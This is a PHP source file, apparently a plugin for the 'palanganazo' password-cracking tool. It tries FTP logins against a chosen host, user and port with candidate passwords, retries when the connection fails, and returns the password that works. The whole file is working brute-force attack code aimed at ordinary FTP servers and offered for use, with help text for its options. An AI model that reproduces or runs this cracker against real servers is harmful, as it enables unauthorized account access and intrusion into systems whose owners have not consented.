<?php
/*
  palanganazo
  http://code.google.com/p/palanganazo/
  
  by >> s E t H <<
  xd dot seth at gmail
  http://xd-blog.com.ar/
*/

    $plugin_required_options = array('host:', 'user:');
    
    $tmp_options = getopt('', array('host:', 'user:', 'port:', 'retries:'));
    $host        = $tmp_options['host'];
    $user        = $tmp_options['user'];
    $port        = isset($tmp_options['port']) ? $tmp_options['port'] : 21;
    $max_retries = isset($tmp_options['retries']) ? $tmp_options['retries'] : 5;
    unset($tmp_options);

    function plugin_crack() {
        global $max_retries, $host, $password, $user, $port;
        
        $ftp = false; // Set to true when the connection is made
        $fails = 0; // How many times the connection failed
        
        while ( ($ftp == false) and ($fails++ <= $max_retries) ) { // Stops when a connection is made or $max_retries is exceeded
            if( $ftp = ftp_connect($host, $port) ) {
                if( ftp_login($ftp, $user, $password) ) {
                    return $password;
                } else {
                    return false;
                }
                ftp_close($ftp);
            } else {
                show_debug('No se pudo conectar a ' . $host . ' en el puerto' . $port);
                password_not_tested($password);
            }
        }
    }
    
    function plugin_display_help() {
        echo "  --host=<host>\n",
             "  --user=<username>\n",
             "  --port=<number>               (default: 21)\n",
             "  --retries=<number>            Max number of retries per password (default: 5)\n";
    }
?>